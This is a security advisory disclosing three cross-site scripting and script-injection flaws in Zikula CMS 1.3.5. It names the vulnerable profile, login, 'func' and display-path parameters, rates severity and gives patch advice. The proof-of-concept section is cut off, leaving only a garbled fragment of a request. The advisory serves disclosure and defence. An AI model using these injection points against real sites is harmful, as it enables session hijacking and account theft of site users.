Affected Product(s):
====================
PostNuke e.V.
Product: Zikula Content Management System - Web Application 1.3.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
1.1
A persistent input validation web vulnerability is detected in the Zikula 
Content Management System v1.3.5 web-application.
The bug allows an attacker (remote) to implement/inject malicious own malicious 
persistent script codes (application side).

The persistent web vulnerability is located in the `User Information (Page)` &  
`Profile Info (Page)` module. Remote attackers 
are able to change the regular real name in the profile info page to own 
malicious script codes. The script code execute occurs 
in the user profile info page of the public cms application.

Exploitation of the persistent web vulnerability requires low user interaction 
and a low privileged web-application user account 
Successful exploitation of the vulnerability can lead to persistent session 
hijacking (customers), account steal via persistent 
web attacks, persistent phishing or persistent module context manipulation.

Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] User Information (Page)

Vulnerable Parameter(s):
                                [+] real name (z-formnote)

Affected Module(s):
                                [+] Profile Info


1.2
A client-side POST injection web vulnerability is detected in the official 
Zikula Content Management System v1.3.5 web-application.
The non-persistent cross site web vulnerability allows an attacker to 
manipulate client side web application to browser GET method requests.

The client-side cross site web vulnerability is located in the `login` module 
of the web-application. Remote attackers can inject via POST 
request method own malicious script codes as authentication_info (users_login) 
value.

Exploitation of the vulnerability requires no privileged application user 
account but low or medium user interaction. Successful exploitation 
of the vulnerability results in session hijacking, client-side phishing, 
client-side external redirects or malware loads and client-side 
manipulation of the vulnerable module context.

Request Method(s):
                                [+] [POST]

Vulnerable Module(s):
                                [+] Login

Vulnerable Parameter(s):
                                [+] users_login_login_id > authentication_info 
> username & password text



1.3
A client-side cross site scripting web vulnerability is detected in the Zikula 
Content Management System v1.3.5 web-application.
The non-persistent cross site scripting web vulnerability allows an attacker to 
manipulate client side web application GET method requests.

The first client-side cross site vulnerability is located in the `func` value 
of the index.php file. Remote attackers are able to inject own 
malicious script codes via vulnerable `func` parameter in client-side GET 
method requests. 

The second client-side cross site vulnerability is located in the display name 
to path value GET method request. Remote attackers are able 
to inject own malicious script codes as regular path. The script code execute 
occurs in the news display path. Attackers can change the 
regular path with script code to execute the client-side malicious context. 

Exploitation of the vulnerability requires no privileged application user 
account but low or medium user interaction. Successful exploitation 
of the vulnerability results in session hijacking, client-side phishing, 
client-side external redirects or malware loads and client-side 
manipulation of the vulnerable module context.

Request Method(s):
                                [+] [GET]

Vulnerable Parameter(s):
                                [+] display path
                                [+] func


Proof of Concept (PoC):

attackers with low privileged application user account 
and low user interaction. For demonstration or reproduce ...

 CROSS SITE SCRIPTING VULNERABILITY!]&lang=en&userid=3


Solution - Fix & Patch:
=======================
1.1
The first persistent input validation web vulnerability can be patched by a 
secure encode and parse of the real name profile input fields.
Also parse the vulnerable user profile info output page to ensure the issue is 
fixed.

1.2
Parse the username input field in the login module. Encode also the vulnerable 
users_login_id and authentication_info[login] values.

1.3
Parse and encode the vulnerable func value parameter in the index.php. 
Encode and filter the path value in the display section to prevent client-side 
attacks.


Security Risk:
==============
1.1
The security risk of the persistent input validation web vulnerability is 
estimated as high(+).

1.2
The security risk of the non-persistent post inject web vulnerability is 
estimated as medium(+).

1.3
The security risk of the client-side cross site scripting web vulnerabilities 
are estimated as low(+)|(-)medium.
